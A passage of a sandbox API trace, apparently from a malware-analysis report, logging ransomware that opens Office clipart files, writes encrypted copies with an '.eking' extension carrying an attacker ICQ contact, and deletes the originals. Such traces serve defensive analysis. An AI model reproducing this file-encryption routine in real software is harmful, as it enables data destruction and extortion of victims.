lpNumberOfBytesRead=0x30dfd3c*=0x2186, lpOverlapped=0x0) returned 1 [0255.301] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2190, lpOverlapped=0x0) returned 1 [0255.302] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0255.302] CloseHandle (hObject=0x38c) returned 1 [0255.303] CloseHandle (hObject=0x348) returned 1 [0255.303] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0 [0255.304] SetEvent (hEvent=0x2b8) returned 1 [0255.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0255.306] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4894) returned 1 [0255.306] CloseHandle (hObject=0x348) returned 1 [0255.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0255.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0255.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0255.308] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.308] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0255.312] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x131e, lpOverlapped=0x0) returned 1 [0255.317] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1320, lpOverlapped=0x0) returned 1 [0255.319] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0255.319] CloseHandle (hObject=0x348) returned 1 [0255.319] CloseHandle (hObject=0x38c) returned 1 [0255.319] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0 [0255.320] SetEvent (hEvent=0x2b8) returned 1 [0255.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.321] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5375) returned 1 [0255.322] CloseHandle (hObject=0x38c) returned 1 [0255.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0255.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0255.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.323] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.323] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0255.326] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x14ff, lpOverlapped=0x0) returned 1 [0255.644] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1500, lpOverlapped=0x0) returned 1 [0255.645] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0255.645] CloseHandle (hObject=0x38c) returned 1 [0255.646] CloseHandle (hObject=0x348) returned 1 [0255.646] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0 [0255.646] SetEvent (hEvent=0x2b8) returned 1 [0255.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0255.650] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3378) returned 1 [0255.650] CloseHandle (hObject=0x348) returned 1 [0255.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0255.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0255.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0255.652] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.652] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0255.655] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xd32, lpOverlapped=0x0) returned 1 [0255.657] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xd40, lpOverlapped=0x0) returned 1 [0255.659] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0255.660] CloseHandle (hObject=0x348) returned 1 [0255.660] CloseHandle (hObject=0x38c) returned 1 [0255.661] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0 [0255.661] SetEvent (hEvent=0x2b8) returned 1 [0255.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.664] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3120) returned 1 [0255.664] CloseHandle (hObject=0x38c) returned 1 [0255.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0255.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0255.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.665] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.665] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0255.666] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xc30, lpOverlapped=0x0) returned 1 [0255.669] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xc40, lpOverlapped=0x0) returned 1 [0255.671] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0255.671] CloseHandle (hObject=0x38c) returned 1 [0255.671] CloseHandle (hObject=0x348) returned 1 [0255.672] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0 [0255.672] SetEvent (hEvent=0x2b8) returned 1 [0255.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0255.674] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3026) returned 1 [0255.674] CloseHandle (hObject=0x348) returned 1 [0255.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0255.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0255.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0255.675] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.675] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0255.676] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xbd2, lpOverlapped=0x0) returned 1 [0255.680] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xbe0, lpOverlapped=0x0) returned 1 [0255.682] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0255.682] CloseHandle (hObject=0x348) returned 1 [0255.682] CloseHandle (hObject=0x38c) returned 1 [0255.683] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0 [0255.683] SetEvent (hEvent=0x2b8) returned 1 [0255.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.684] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4734) returned 1 [0255.684] CloseHandle (hObject=0x38c) returned 1 [0255.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0255.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0255.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.685] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.686] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0255.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0255.687] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x127e, lpOverlapped=0x0) returned 1 [0256.007] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1280, lpOverlapped=0x0) returned 1 [0256.009] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0256.009] CloseHandle (hObject=0x38c) returned 1 [0256.009] CloseHandle (hObject=0x348) returned 1 [0256.010] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0 [0256.010] SetEvent (hEvent=0x2b8) returned 1 [0256.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0256.012] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7072) returned 1 [0256.012] CloseHandle (hObject=0x348) returned 1 [0256.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0256.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0256.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0256.014] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.015] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0256.017] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1ba0, lpOverlapped=0x0) returned 1 [0256.026] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1bb0, lpOverlapped=0x0) returned 1 [0256.028] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0256.028] CloseHandle (hObject=0x348) returned 1 [0256.028] CloseHandle (hObject=0x38c) returned 1 [0256.029] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" 